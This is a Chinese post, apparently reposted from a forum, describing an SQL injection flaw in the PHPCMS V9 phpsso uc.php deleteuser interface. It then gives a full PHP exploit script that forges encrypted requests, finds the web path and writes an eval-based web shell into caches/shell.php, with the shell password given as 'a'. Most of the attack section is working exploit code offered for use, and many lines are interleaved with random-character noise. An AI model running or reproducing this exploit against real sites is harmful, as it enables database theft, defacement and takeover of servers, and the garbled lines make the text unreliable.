PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
% s( t6 e. m7 G3 L. N9 p0 G
) O+ G# b6 b8 Y1 r所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。9 r$ R0 W) P. |/ [$ {9 P
% i Z. R" A) ~2 Y. H- u漏洞分析:
3 ^* G* r9 U' A& D U1.未启用ucenter服务的情况下uc_key为空0 E; F% P8 H( {# j
define('UC_KEY', pc_base::load_config('system', 'uc_key'));3 s& v C% }1 l! ]6 `6 O- U$ j
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。; x( R" ?+ N: Q2 c; Y G; ]# K% Q1 T
public function deleteuser($get,$post) { r8 v, ^' d0 L9 d7 V- x: ^
pc_base::load_app_func('global', 'admin');* w4 T. q2 u! A+ x: G
pc_base::load_app_class('messagequeue', 'admin' , 0);
; a9 M' l0 z+ r( ], k" x $ids = new_stripslashes($get['ids']);
8 N& u2 z9 y5 X8 N( E$ r $s = $this->member_db->select("ucuserid in ($ids)", "uid");
' |9 v+ B' i0 z- b4 }% ~% l8 [5 lSQL语句为8 W3 G( q% R, ~+ g
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)/ ]" Y, x1 d! }" J
: M, E# I; q+ E利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell* K1 r( }2 O! X! F4 E3 l
<?php
; R2 k6 Z4 p r: T/ I6 _print_r('. I0 u8 `) g8 P v6 b5 y
---------------------------------------------------------------------------
, I9 \6 w0 X5 b1 aPHPcms (v9 or Old Version) uc api sql injection 0day
d9 {/ D, d& Y4 g: @" f2 w qby rayh4c#80sec.com; z7 J9 I5 N6 {1 k
---------------------------------------------------------------------------4 ^+ k" I: Y! b& K
');
$ v4 [* l: O" x3 \( Z
; V( S! }, @, {, s. pif ($argc<3) {6 A6 u9 P" C( s: D
print_r('
. X/ O% e1 I' S---------------------------------------------------------------------------. Z4 `. X1 f3 v* o( I; b
Usage: php '.$argv[0].' host path OPTIONS
3 f. x6 v0 E4 Y$ J4 Xhost: target server (ip/hostname)6 j6 ^3 A& y2 Y& y; a+ y
path: path to phpcms
' V& K0 ?6 w3 o! g" NOptions: j7 P9 q, ]/ m6 P
-p[port]: specify a port other than 80
' v0 ?( h$ j$ T C -P[ip:port]: specify a proxy
% [& c- Q% Q! `' v4 |9 sExample:
8 |' y/ @7 Q' N* b# p* R( O* lphp '.$argv[0].' localhost /
8 K [7 X- Q, H( zphp '.$argv[0].' localhost /phpcms/ -p81: C# I" |' ^3 ^* v6 G: K( [
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
% N. h: v2 {' g% S---------------------------------------------------------------------------
7 M9 B5 U6 c) Y# Y');
4 S) e2 [- | k* z2 B die;2 f! u1 V5 u9 z# h! L
}
0 Q$ J4 G- e5 H
5 l1 V( A. ^8 V: H& Y; E ^& Lerror_reporting(7);
6 H2 U) ^1 ~ m' l' \ M, b3 Fini_set("max_execution_time",0);
0 `0 w2 W+ F, B9 m6 U' nini_set("default_socket_timeout",5);. i( {1 W9 q" O- ]8 M0 k* k
( L _; `# H* y \# ~
function quick_dump($string)
& n6 z- {+ W0 }1 n# c+ h# l+ n{
& Y" a7 M4 T, @, n# l' ~ $result='';$exa='';$cont=0;
5 p: ] q! G) h r2 E9 A& z5 v for ($i=0; $i<=strlen($string)-1; $i++)
5 h! _+ `# `: g9 i) M {. K8 z; S8 r3 @8 F8 ~
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
( Q3 A% R7 |; \: G {$result.=" .";}6 `$ m5 u% }7 z0 n3 j" C8 F
else' O/ ~8 p+ I* D" h3 p" ?: q( v0 Q% j
{$result.=" ".$string[$i];}
r! J& `+ [6 f/ f3 ~ r if (strlen(dechex(ord($string[$i])))==2)
( S% J, d5 d3 o$ k/ J# U {$exa.=" ".dechex(ord($string[$i]));}
?7 d; A) ~$ @$ Y% O8 R. k& y else: f) }1 u" i* E8 A: s @
{$exa.=" 0".dechex(ord($string[$i]));}: K: P9 N* ~+ f7 `' _
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}( K* |6 I1 W* S4 ~( C9 q: j/ o% j* |! j
}# M9 ^ T' ?3 ?& Y" u$ V
return $exa."\r\n".$result;
, g: I5 }5 {3 M' P9 J; F) K1 z}1 ` h" _/ D6 m! v3 D) @" o7 v
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';& d. D5 c+ D) \( B2 D
/ c" n0 P8 Z. {" ifunction send($packet)
* v1 Q; z! [4 o& ^; Q# n{
j; W* Z0 I: `6 `$ v; o global $proxy, $host, $port, $html, $proxy_regex;
+ j+ E* j0 _& d8 k% F if ($proxy=='') {
6 ~+ i- k. g, R0 m6 |+ H! N $ock=fsockopen(gethostbyname($host),$port);
! s5 Z7 [6 d( h* C9 W+ l+ w if (!$ock) {
0 M8 k* {; x; F& q1 n echo 'No response from '.$host.':'.$port; die;
8 J# q! F. ?% Z4 `- q2 j }
& K( e' e- V3 r* f( V1 r P/ Z4 ^ }, r& c3 P1 d) m5 Z) W. P# {
else {& q( r- K# a1 K& G$ z; h. C! @
$c = preg_match($proxy_regex,$proxy);
' K3 N: [) w7 E8 G9 i k, a if (!$c) {8 H# n0 {6 n" X1 N9 y
echo 'Not a valid proxy...';die;3 C4 E" Q( |( \: A/ [7 a3 w
}
1 G o7 \! r6 W $parts=explode(':',$proxy);# l7 x' _$ \) A" l' T7 F
$parts[1]=(int)$parts[1];
' }) P# o' w/ J8 t+ N0 @ echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
- q; B v* a! N' Q1 Q! W D6 }! C $ock=fsockopen($parts[0],$parts[1]);
8 f% l( U, P" E if (!$ock) {; T$ b0 r+ r+ W- D' Z/ `% q
echo 'No response from proxy...';die;
6 p R& Q. k9 n' P4 ], W9 O }. H0 {7 S- v) r7 m1 U- }
}1 F- a( {( ]7 i. i7 b: A: k9 g% e& ^
fputs($ock,$packet);2 L" b/ i0 H' Z; U0 T$ o$ e
if ($proxy=='') {+ X; y& y& a' r* v' m% l7 M( ]
$html='';; h! ^2 m- t8 B) Y" v* y& w3 h( W% ]
while (!feof($ock)) {- a" p- w3 H I9 p% \
$html.=fgets($ock);# P9 y+ g! A7 M$ k; ?: _
}0 s! I7 h. J- ?, s$ e4 ^
}
- R5 Z8 E( }! ]: l: r, @. m" t else {/ d: J$ [1 f9 K% H' b+ o" p
$html='';( g7 e9 ]7 ?1 L5 s
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
4 R( s) I- _4 ~; S $html.=fread($ock,1);* q) [# s! H9 ^
}
& T9 M: V% p. x }9 i6 ^/ o' D) y8 a
fclose($ock);
2 B: ]$ \4 |/ u; o: f1 I1 {}# ?3 p c' _. r
% A. Y; l. S' S
$host=$argv[1];. T: f5 V5 R- r8 [% G. T, N
$path=$argv[2];
2 B' P u! ^( O( e" [7 q f, @9 z$port=80;. A, j! l: ~) J, |* G
$proxy="";) U! E/ U5 ~) ^% m) P1 F
for ($i=3; $i<$argc; $i++){5 Z. x8 _- G; N/ M
$temp=$argv[$i][0].$argv[$i][1];' @2 ]. F; d" {: g% S) h# r) i5 C
if ($temp=="-p"), W* _/ x% M0 |3 K/ G
{1 c4 D U; _% K) P4 t3 c
$port=(int)str_replace("-p","",$argv[$i]);
# Y2 `( F/ j8 e; ~* P% |, f& h}7 n4 b- y' T; J, F
if ($temp=="-P")
! {2 B- d# M, B' g/ ~/ S5 E Q2 L{
1 o% x% F: s+ c8 X3 @( l/ W $proxy=str_replace("-P","",$argv[$i]);
% U" }2 T6 _3 S9 b d+ [7 g: S}2 W3 I( s; Y i" L, O6 c2 [6 _' W3 j
}) h. i; y' M7 q$ W0 ?4 ?
- i" s. K8 [- E/ t W7 g! F& Uif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
- E0 ?7 H) x T8 y& aif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
: ~! v: \5 }; M5 |
& f% A' c6 ~, F" J% X& B) U& P0 Efunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {' n$ l4 \) A0 |7 {5 B) u$ d
8 A( P) G4 z; W3 G- R0 @
$ckey_length = 4;
+ Z. R5 ~* x1 `2 \- s2 P
) Z a0 t- n( ^* X- V& U, h $key = md5($key ? $key : '');
6 I5 g) i. q. v6 g6 r. w" R $keya = md5(substr($key, 0, 16));5 b) d7 K: {7 a) t- s$ w
$keyb = md5(substr($key, 16, 16));3 O, n3 C7 d5 C a0 a1 S; b, A$ B
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
) K/ \4 C2 J. I# `
& |. D& n. z/ v, l0 s $cryptkey = $keya.md5($keya.$keyc);
3 F) l0 K/ I3 {9 G7 | $key_length = strlen($cryptkey);* T5 z; S- @6 Y8 J m! b
+ a0 Z6 b7 D3 ^; ^3 ~
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
/ z4 ~) m6 Z, |' \ $string_length = strlen($string);
# o) I$ G& Y2 I; z8 V" o7 r {% x5 l5 Q) z7 |+ v# e5 y5 J4 g
$result = '';
# \0 j: Y2 p2 g @ $box = range(0, 255);$ ]4 D m6 n' A2 J1 c
) Y* ]6 H8 ~- P, C4 E $rndkey = array();$ B `9 k& n) d9 ]% i
for($i = 0; $i <= 255; $i++) {7 ?7 B/ P( G' e6 M" G
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
" W: N& `. n# e$ j }: q" E g5 q. L' N2 F: I
$ u8 r9 |. C5 w0 w
for($j = $i = 0; $i < 256; $i++) { n" R3 K7 A! T5 V$ \
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
. |( O& r: c4 F" x$ `6 R $tmp = $box[$i];
, k1 N3 |) s6 }1 K $box[$i] = $box[$j];( L% B0 |! n( ~ d- r! I6 q
$box[$j] = $tmp;
' c# @- m$ m, U' y- _' n5 c }8 `- l5 O) d9 H; D
+ {/ v2 ^; x6 C) O& {! X& O
for($a = $j = $i = 0; $i < $string_length; $i++) {
9 g1 }$ L. _# t- H" y5 ~ $a = ($a + 1) % 256;
# f* U0 W( Q8 ^& U9 }* A/ g $j = ($j + $box[$a]) % 256;/ ]- U0 b% N6 D) k! B$ W
$tmp = $box[$a];
p6 W1 | I Y( i* v5 j: N/ R $box[$a] = $box[$j];+ [4 n6 H; @/ `- n8 ]% C: }# P
$box[$j] = $tmp;1 g/ {' ?6 U! O* U4 E( A; o
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
/ t. `& c" M! ?! ~9 N* t }; y& {7 I1 j' b( J5 C( n
7 }, ?3 {) d* v/ f2 T, T2 i if($operation == 'DECODE') {8 i4 _4 U5 t! S6 R& s6 Y" u
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {( h* k" v; D' L
return substr($result, 26);
- a( T- p, R3 T, S& @( K } else {! ~" m& S; D" a2 X4 f% y% z9 L. N# _
return '';8 s% q2 p3 U, w2 j
}
6 E3 I3 U5 d' b4 l% i } else {0 Y- A7 k' R- s
return $keyc.str_replace('=', '', base64_encode($result));
& n( H2 w7 Y) N& Y( P }, H$ }3 d( x6 \* T# R
2 i' d& G1 X0 l6 J- H3 }
}( C b& S' ~( Y2 i) V* @+ H! y
' J5 X% g9 A# `
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
8 i" x8 v! ~8 s' h2 i8 a2 K/ W$SQL = urlencode(authcode($SQL, "ENCODE", ""));8 R) @7 B- W* {1 J0 ?. B W
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";3 f1 \6 c9 l( X+ E9 K, D
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";4 F( `$ ^# b" N2 ]8 G- a
$packet.="User-Agent: Mozilla/5.0\r\n";; b( B8 y: P. y9 L3 w
$packet.="Host: ".$host."\r\n";
: {7 L5 L! f' M; a0 ~$packet.="Connection: Close\r\n\r\n";' w0 g3 a+ j y3 w
send($packet);
+ P) X; S- m+ w! y" Kif(strpos($html,"MySQL Errno") > 0){
4 W( f7 `; _ F2 b. C7 c5 Yecho "[2] 发现存在SQL注入漏洞"."\n";
0 e# F2 a4 z3 L; ]' ^6 K" becho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
+ ^8 S$ K) ^8 V9 o5 n1 f$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";" u# T/ ^5 ]8 ?5 A# |) h' n3 G+ x3 U
$packet.="User-Agent: Mozilla/5.0\r\n";
3 o' S- ~# _1 j$packet.="Host: ".$host."\r\n";
5 S. n+ u& V2 }$ z$packet.="Connection: Close\r\n\r\n";
8 ?' s3 ?" v8 F1 Ysend($packet);
& h" b/ V* b4 Q' N) ~3 g. |preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);6 x+ F& O9 H; h7 Y" o2 [! D0 _
//print_r($matches);
: ~, G7 V! m* p5 z) G$ m' u( [. xif(!empty($matches)){& C1 L- @( p1 F5 _6 `0 v
echo "[4] 得到web路径 " . $matches[0]."\n";
. \: v4 }' [7 ]2 j. [! E8 T( techo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
0 R0 Z$ V3 q+ c$SQL = "time=999999999999999999999999&ids=1)";( Q G4 M4 K0 n& w* n0 X7 `7 q
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
9 u! k; y8 a) w7 q2 a$SQL.="&action=deleteuser";
' J1 q5 D1 B, X$SQL = urlencode(authcode($SQL, "ENCODE", ""));; ~7 A( Q! M( u, s$ g w4 Q# c
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
6 s- P" f" \' U/ L$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
+ R) Z1 G( n. [. L$ S/ t$packet.="User-Agent: Mozilla/5.0\r\n";3 N h% D: O" A' K$ `
$packet.="Host: ".$host."\r\n";
% X+ @8 ]! D* u$ z* I+ G$packet.="Connection: Close\r\n\r\n";
/ R2 H/ B; Z( n& psend($packet); {' {3 i! n( z6 n% n2 C* g
if(strpos($html,"Access denied") > 0){
4 u2 W2 b/ O3 L1 K ?, S! zecho "[-] MYSQL权限过低 禁止写入文件 ";0 L# |. j# R4 {; i6 H7 |
die;
3 f1 y, O" Y' z0 y ?, q}0 \$ b3 x; C' y$ C: Y+ O
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";5 M8 f9 l) o! _0 Z
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
0 p8 x! S8 \, m* Y$packet.="User-Agent: Mozilla/5.0\r\n";- { M9 L- |4 n$ q8 H# @
$packet.="Host: ".$host."\r\n";
& ]6 w7 A* ?' i$packet.="Connection: Close\r\n\r\n";( ]3 s( p! R; F0 z0 q5 s0 I
send($packet);
/ G( F7 J n* |) eif(strpos($html,"<title>phpinfo()</title>") > 0){4 p/ e5 O" F1 U- w+ ~
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
/ k0 v: ^" h8 O3 l v}, M6 m: E! v7 {0 q
}else{+ c6 ]( u$ a+ w# Q+ O* A# U% M
echo "[-]未取到web路径 ";% O4 k1 A) N y
}: X$ Y% H& _2 C- M$ \
}else{& Z6 r/ k& T' P4 a9 b5 F1 t
echo "[*]不存在SQL注入漏洞"."\n";! E% V. |$ ~7 V4 D. {' ]9 D
}3 F9 R, b" N/ f9 {0 S A* H
; W+ J4 E0 d1 z% n, Q?>
* G M. S( F% ] |